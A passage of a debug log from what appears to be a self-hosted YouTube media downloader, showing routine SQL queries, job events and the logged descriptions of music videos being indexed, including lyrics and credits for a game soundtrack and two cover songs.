Gear! \n\nSpecifically Strive 'cus one silly little duck convinced me to give it a try \nover three months ago AND OH WELL, Elphelt took my heart by storm. \nDue to this being my first actual attempt at fighting games, I am majorly \nsucking butt at this very moment but I am optimistic that I can somewhat\nget the hang of it if I give it my all! Thanks to said silly little duck and \ncountless past coaching sessions, I am certain that it's loads of fun to \nplay once one understands the core of this very fancy version of \nrock paper scissors.\n\nBUT UNTIL THEN, YOU SHALL ENJOY THIS LITTLE TRACK I'VE COOKED \nUP THROUGHOUT MY STARTING DAYS IN THE GUILTS OF GEARS.\n\nI hope you enjoy my little re-imagine of Elphelt's theme and \nhave a lovely rest of the week!!!\n\nAs always, with love,\njen x\n\n________________________________________\n\n✦ CREDITS\n\"Extras\" from Guilty Gear -Strive-, theme of Elphelt Valentine\nComposed by Daisuke Ishiwatari\nOriginally performed by Molly Daisy\n♡ https://youtu.be/rhlZY4D8jlQ?si=IHkHAyrPp0dthTXV\n\nVocal / Mix / Music / Video ◇ jen\nScanned Elphelt Plush ◇ MayaIsAnimating (https://www.reddit.com/user/RedSnow6632/)\nAdditional Crowd Vocals ◇ Jamie & Lucas ♡\nAlbum Cover & Thumbnail Illustration ◇ Phil A\n\n________________________________________\n\n✦ GET IN TOUCH\nE-Mail → xunreachablee@web.de\nX → https://twitter.com/xUnreachablee\nSoundCloud → https://soundcloud.com/xunreachablee\n\n________________________________________\n\n- About jen\njen's also formally known as xUnreachablee is a german cover artist and pro (truncated) 22:22:59.176 [debug] QUERY OK source="sources" db=0.2ms idle=260.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:59.176 [debug] QUERY OK source="media_profiles" db=0.1ms idle=258.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:22:59.177 [debug] QUERY OK source="media_items" db=0.1ms idle=258.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [13] 22:22:59.177 [debug] Current batch of media processed. Will check again in 1000ms 22:23:00.178 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Clair Obscur: Expedition 33 (Original Soundtrack) - Lumière\nComposed by Lorien Testard ft. Alice Duport-Percier\nOrchestral performance by Orchestre Curieux.\n\n🎧 Listen to the full soundtrack on all platforms:\nhttps://lnk.to/clair-obscur-expedition-33\n\n🎮 Clair Obscur: Expedition 33 available now: \nhttps://www.expedition33.com/linkhub\n\nLyrics:\nDim dam talé lam vacarme\nS'en va dans Lumi éternam\nEt Gustave dôme guardéam\nDilim dili lili lam\nLutece séra\nDolilom séram\n\nDim dim dam dada dim dim da dada dim da lilam\nDim dim dam dada dim dim da dada dam di didam\n\nDans là-haut\nSera ravi\nLes toits à ce Renoir\nGriffera\n\nClair-Obscur\nTrouble de rature, courbera Eiffel\nClair-Obscur\nGuardéo peinture, trouvera sans elle\nClair-Obscur\nTrouble de rature, courbera Eiffel\nClair-Obscur\nGuardéo peinture, trouvera sans elle\n\nAu Clair-Obscur\nTrouble rature\nClair-Obscur\nGuardéo peinture\n\nClair-Obscur\nTrouble de rature, courbera Eiffel\nClair-Obscur\nGuardéo peinture, trouvera sans elle\nClair-Obscur\nTrouble de rature, courbera Eiffel\nClair-Obscur\nGuardéo peinture, trouvera sans elle\n\nAu Clair-Obscur\nTrouble rature\nClair-Obscur\nGuardéo peinture\n\nClair-Obscur\nTrouble de rature, courbera Eiffel\nClair-Obscur\nGuardéo peinture, trouvera sans elle\nClair-Obscur\nTrouble de rature, courbera Eiffel\nClair-Obscur\nGuardéo peinture, trouvera sans elle\n\nCredits:\nComposer: Lorien Testard ft. Alice Duport-Percier\nSinger: Alice Duport-Percier \nBacking Vocal : Axelle Verner\nLyrics: Lorien Testard\n\nOrchestral Recording: Orchestre Curieux\nConductor & Orchestral Arrangement: Daniel Sicard\nPiano: Orane Donnadieu\nViolin I: Claire Theobald\nViolin II: Mariane Minjou\nViola: Pierre-Pascal Jean\nCello I: Pauline Boudon\nCello II: Alec Fukuda\nDouble Bass: Lilas Berault\nSound Engineer: Aurélien Bourgois\nChoir Conductor: Victor Rouanet\nChoir: Marie-Cécile Henry Brossard, Céleste Lejeune, Annabelle Daguise, Axelle Verner, Gaël Martin, Fabrice Foison, Alexandre Artemenko, Maxime Saïu\n\nDirection & Editing: Daniel Sicard\nDirector of Photography: Louis Bergogné\nGaffer: Hugo Bellemin\nElectrician: Camille Schuster\nAdditional Electrician: Léonie Roger\nCamera Assistant: Grégoire Kappes\n2nd Camera Assistant: Roxane Bougeot\nSteadicam Operator: Pierre-Louis Bertrand\nCatering: Miches à Micha & Les Marmites Volantes\nProduction Coordinator: Julie Manoukian \nProduction Assistant: Clément Pottier\n\nSpecial thanks to the Sandfall Interactive and Kepler Interactive teams.", "duration" => 222, "filename" => "/downloads/Nightcore/Nightcore/2025-05-02Clair Obscur: Expedition 33 | Lumière [Official Music Video][LpNVf8sczqU].m4a", "id" => "LpNVf8sczqU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=LpNVf8sczqU", "playlist_index" => 14, "timestamp" => 1746188826, "title" => "Clair Obscur: Expedition 33 | Lumière [Official Music Video]", "upload_date" => "20250502"} 22:23:00.179 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1003.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:23:00.180 [debug] QUERY OK source="sources" db=0.3ms idle=1003.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:00.181 [debug] QUERY OK source="media_items" db=0.4ms idle=1003.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-02 12:27:06Z], 1] 22:23:00.252 [info] {"source":"oban","duration":268,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:23:00.517 [debug] QUERY OK source="media_items" db=334.7ms idle=1004.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Clair Obscur: Expedition 33 (Original Soundtrack) - Lumière\nComposed by Lorien Testard ft. Alice Duport-Percier\nOrchestral performance by Orchestre Curieux.\n\n🎧 Listen to the full soundtrack on all platforms:\nhttps://lnk.to/clair-obscur-expedition-33\n\n🎮 Clair Obscur: Expedition 33 available now: \nhttps://www.expedition33.com/linkhub\n\nLyrics:\nDim dam talé lam vacarme\nS'en va dans Lumi éternam\nEt Gustave dôme guardéam\nDilim dili lili lam\nLutece séra\nDolilom séram\n\nDim dim dam dada dim dim da dada dim da lilam\nDim dim dam dada dim dim da dada dam di didam\n\nDans là-haut\nSera ravi\nLes toits à ce Renoir\nGriffera\n\nClair-Obscur\nTrouble de rature, courbera Eiffel\nClair-Obscur\nGuardéo peinture, trouvera sans elle\nClair-Obscur\nTrouble de rature, courbera Eiffel\nClair-Obscur\nGuardéo peinture, trouvera sans elle\n\nAu Clair-Obscur\nTrouble rature\nClair-Obscur\nGuardéo peinture\n\nClair-Obscur\nTrouble de rature, courbera Eiffel\nClair-Obscur\nGuardéo peinture, trouvera sans elle\nClair-Obscur\nTrouble de rature, courbera Eiffel\nClair-Obscur\nGuardéo peinture, trouvera sans elle\n\nAu Clair-Obscur\nTrouble rature\nClair-Obscur\nGuardéo peinture\n\nClair-Obscur\nTrouble de rature, courbera Eiffel\nClair-Obscur\nGuardéo peinture, trouvera sans elle\nClair-Obscur\nTrouble de rature, courbera Eiffel\nClair-Obscur\nGuardéo peinture, trouvera sans elle\n\nCredits:\nComposer: Lorien Testard ft. Alice Duport-Percier\nSinger: Alice Duport-Percier \nBacking Vocal : Axelle Verner\nLyrics: Lorien Testard\n\nOrchestral Recording: Orchestre Curieux\nConductor & Orchestral Arrangement: Daniel Sicard\nPiano: Orane Donnadieu\nViolin I: Claire Theobald\nViolin II: Mariane Minjou\nViola: Pierre-Pascal Jean\nCello I: Pauline Boudon\nCello II: Alec Fukuda\nDouble Bass: Lilas Berault\nSound Engineer: Aurélien Bourgois\nChoir Conductor: Victor Rouanet\nChoir: Marie-Cécile Henry Brossard, Céleste Lejeune, Annabelle Daguise, Axelle Verner, Gaël Martin, Fabrice Foison, Alexandre Artemenko, Maxime Saïu\n\nDirection & Editing: Daniel Sicard\nDirector of Photography: Louis Bergogné\nGaffer: Hugo Bellemin\nElectrician: Camille Schuster\nAdditional Electrician: Léonie Roger\nCamera Assistant: Grégoire Kappes\n2nd Camera Assistant: Roxane Bougeot\nSteadicam Operator: Pierre-Louis Bertrand\nCatering: Miches à Micha & Les Marmites Volantes\nProduction Coordinator: Julie Manoukian \nProduction Assistant: Clément Pottier\n\nSpecial thanks to the Sandfall Interactive and Kepler Interactive teams.", "Clair Obscur: Expedition 33 | Lumière [Official Music Video]", "84dbb79a-a6fe-4ec1-9dbb-350ed1c745a5", false, "LpNVf8sczqU", 222, false, "https://www.youtube.com/watch?v=LpNVf8sczqU", 14, "/downloads/Nightcore/Nightcore/2025-05-02Clair Obscur: Expedition 33 | Lumière [Official Music Video][LpNVf8sczqU].m4a", false, false, 1, [], 1, ~U[2025-05-02 12:27:06Z], ~U[2026-07-24 02:23:00Z], ~U[2026-07-24 02:23:00Z], "Clair Obscur: Expedition 33 (Original Soundtrack) - Lumière\nComposed by Lorien Testard ft. Alice Duport-Percier\nOrchestral performance by Orchestre Curieux.\n\n🎧 Listen to the full soundtrack on all platforms:\nhttps://lnk.to/clair-obscur-expedition-33\n\n🎮 Clair Obscur: Expedition 33 available now: \nhttps://www.expedition33.com/linkhub\n\nLyrics:\nDim dam talé lam vacarme\nS'en va dans Lumi éternam\nEt Gustave dôme guardéam\nDilim dili lili lam\nLutece séra\nDolilom séram\n\nDim dim dam dada dim dim da dada dim da lilam\nDim dim dam dada dim dim da dada dam di didam\n\nDans là-haut\nSera ravi\nLes toits à ce Renoir\nGriffera\n\nClair-Obscur\nTrouble de rature, courbera Eiffel\nClair-Obscur\nGuardéo peinture, trouvera sans elle\nClair-Obscur\nTrouble de rature, courbera Eiffel\nClair-Obscur\nGuardéo peinture, trouvera sans elle\n\nAu Clair-Obscur\nTrouble rature\nClair-Obscur\nGuardéo peinture\n\nClair-Obscur\nTrouble de rature, courbera Eiffel\nClair-Obscur\nGuardéo peinture, trouvera sans elle\nClair-Obscur\nTrouble de rature, courbera Eiffel\nClair-Obscur\nGuardéo peinture, trouvera sans elle\n\nAu Clair-Obscur\nTrouble rature\nClair-Obscur\nGuardéo peinture\n\nClair-Obscur\nTrouble de rature, courbera Eiffel\nClair-Obscur\nGuardéo peinture, trouvera sans elle\nClair-Obscur\nTrouble de rature, courbera Eiffel\nClair-Obscur\nGuardéo peinture, trouvera sans elle\n\nCredits:\nComposer: Lorien Testard ft. Alice Duport-Percier\nSinger: Alice Duport-Percier \nBacking Vocal : Axelle Verner\nLyrics: Lorien Testard\n\nOrchestral Recording: Orchestre Curieux\nConductor & Orchestral Arrangement: Daniel Sicard\nPiano: Orane Donnadieu\nViolin I: Claire Theobald\nViolin II: Mariane Minjou\nViola: Pierre-Pascal Jean\nCello I: Pauline Boudon\nCello II: Alec Fukuda\nDouble Bass: Lilas Berault\nSound Engineer: Aurélien Bourgois\nChoir Conductor: Victor Rouanet\nChoir: Marie-Cécile Henry Brossard, Céleste Lejeune, Annabelle Daguise, Axelle Verner, Gaël Martin, Fabrice Foison, Alexandre Artemenko, Maxime Saïu\n\nDirection & Editing: Daniel Sicard\nDirector of Photography: Louis Bergogné\nGaffer: Hugo Bellemin\nElectrician: Camille Schuster\nAdditional Electrician: Léonie Roger\nCamera Assistant: Grégoire Kappes\n2nd Camera Assistant: Roxane Bougeot\nSteadicam Operator: Pierre-Louis Bertrand\nCatering: Miches à Micha & Les Marmites Volantes\nProduction Coordinator: Julie Manoukian \nProduction Assistant: Clément Pottier\n\nSpecial thanks to the Sandfall Interactive and Kepler Interactive teams.", "Clair Obscur: Expedition 33 | Lumière [Official Music Video]", "LpNVf8sczqU", 222, false, "https://www.youtube.com/watch?v=LpNVf8sczqU", "/downloads/Nightcore/Nightcore/2025-05-02Clair Obscur: Expedition 33 | Lumière [Official Music Video][LpNVf8sczqU].m4a", false, 1, ~U[2025-05-02 12:27:06Z]] 22:23:00.518 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=337.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:00.519 [debug] QUERY OK source="media_profiles" db=0.4ms idle=338.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:23:00.520 [debug] QUERY OK source="media_items" db=0.5ms idle=338.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [14] 22:23:00.520 [info] Kicking off download for media item #14 (LpNVf8sczqU) 22:23:00.522 [debug] Current batch of media processed. Will check again in 1000ms 22:23:01.523 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "finally full cover!! 🌹\ncover by @LeshyP (main channel for my original songs and some covers, let's subscribe 😊 this is so appreciated)\nVocals - Kasane Teto AI (Mellow)\n\n🌺 VK: https://vk.com/leshy_music\n🌺 Twitter: https://twitter.com/leshymusic\n🌺 Telegram: https://t.me/leshy_forest\n🌺 TikTok: tiktok.com/@leshy_music\n🌺 Bandcamp: https://leshymusic.bandcamp.com/\n🌺 Spotify: https://open.spotify.com/artist/5kPgTEsQTICRPT6vUDytyZ?si=4pXOrSAeRjSuuF9YEaKBHw\n🌺 Yandex Music: https://music.yandex.ru/artist/17286904?utm_medium=copy_link\n🌺 Music: https://bnd.lc/leshy_music\n🌺 SVP: https://t.me/svp_b\n#KasaneTetoAI #重音テトAI #SynthV_Teto\n#synthv #kasanetetoai #重音テトai", "duration" => 197, "filename" => "/downloads/Nightcore/Nightcore/2023-05-08【Kasane Teto AI】fly me to the moon【SynthV COVER】+SVP[t3Mp4jnJnfg].m4a", "id" => "t3Mp4jnJnfg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=t3Mp4jnJnfg", "playlist_index" => 15, "timestamp" => 1683558911, "title" => "【Kasane Teto AI】fly me to the moon【SynthV COVER】+SVP", "upload_date" => "20230508"} 22:23:01.524 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1005.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:23:01.525 [debug] QUERY OK source="sources" db=0.3ms idle=1005.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:01.526 [debug] QUERY OK source="media_items" db=0.4ms idle=1005.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-05-08 15:15:11Z], 1] 22:23:01.749 [info] GET /sources/5/media/202 22:23:01.749 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "202", "source_id" => "5"} Pipelines: [:browser] 22:23:01.805 [debug] QUERY OK source="media_items" db=278.5ms idle=1004.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["finally full cover!! 🌹\ncover by @LeshyP (main channel for my original songs and some covers, let's subscribe 😊 this is so appreciated)\nVocals - Kasane Teto AI (Mellow)\n\n🌺 VK: https://vk.com/leshy_music\n🌺 Twitter: https://twitter.com/leshymusic\n🌺 Telegram: https://t.me/leshy_forest\n🌺 TikTok: tiktok.com/@leshy_music\n🌺 Bandcamp: https://leshymusic.bandcamp.com/\n🌺 Spotify: https://open.spotify.com/artist/5kPgTEsQTICRPT6vUDytyZ?si=4pXOrSAeRjSuuF9YEaKBHw\n🌺 Yandex Music: https://music.yandex.ru/artist/17286904?utm_medium=copy_link\n🌺 Music: https://bnd.lc/leshy_music\n🌺 SVP: https://t.me/svp_b\n#KasaneTetoAI #重音テトAI #SynthV_Teto\n#synthv #kasanetetoai #重音テトai", "【Kasane Teto AI】fly me to the moon【SynthV COVER】+SVP", "e4c1a711-06e5-4bce-81ba-869da68b528a", false, "t3Mp4jnJnfg", 197, false, "https://www.youtube.com/watch?v=t3Mp4jnJnfg", 15, "/downloads/Nightcore/Nightcore/2023-05-08【Kasane Teto AI】fly me to the moon【SynthV COVER】+SVP[t3Mp4jnJnfg].m4a", false, false, 1, [], 1, ~U[2023-05-08 15:15:11Z], ~U[2026-07-24 02:23:01Z], ~U[2026-07-24 02:23:01Z], "finally full cover!! 🌹\ncover by @LeshyP (main channel for my original songs and some covers, let's subscribe 😊 this is so appreciated)\nVocals - Kasane Teto AI (Mellow)\n\n🌺 VK: https://vk.com/leshy_music\n🌺 Twitter: https://twitter.com/leshymusic\n🌺 Telegram: https://t.me/leshy_forest\n🌺 TikTok: tiktok.com/@leshy_music\n🌺 Bandcamp: https://leshymusic.bandcamp.com/\n🌺 Spotify: https://open.spotify.com/artist/5kPgTEsQTICRPT6vUDytyZ?si=4pXOrSAeRjSuuF9YEaKBHw\n🌺 Yandex Music: https://music.yandex.ru/artist/17286904?utm_medium=copy_link\n🌺 Music: https://bnd.lc/leshy_music\n🌺 SVP: https://t.me/svp_b\n#KasaneTetoAI #重音テトAI #SynthV_Teto\n#synthv #kasanetetoai #重音テトai", "【Kasane Teto AI】fly me to the moon【SynthV COVER】+SVP", "t3Mp4jnJnfg", 197, false, "https://www.youtube.com/watch?v=t3Mp4jnJnfg", "/downloads/Nightcore/Nightcore/2023-05-08【Kasane Teto AI】fly me to the moon【SynthV COVER】+SVP[t3Mp4jnJnfg].m4a", false, 1, ~U[2023-05-08 15:15:11Z]] 22:23:01.806 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=281.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:01.806 [debug] QUERY OK source="media_profiles" db=0.1ms idle=281.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:23:01.807 [debug] QUERY OK source="media_items" db=0.1ms idle=280.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [15] 22:23:01.807 [debug] Current batch of media processed. Will check again in 1000ms 22:23:01.828 [debug] QUERY OK source="media_items" db=78.9ms idle=832.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [202] 22:23:01.829 [debug] QUERY OK source="tasks" db=0.2ms idle=23.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [202] 22:23:01.829 [debug] QUERY OK source="sources" db=0.0ms idle=23.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:23:01.829 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=22.9ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?)) [161, 200, 220] 22:23:01.829 [debug] QUERY OK source="settings" db=0.0ms idle=22.8ms SELECT s0."id", 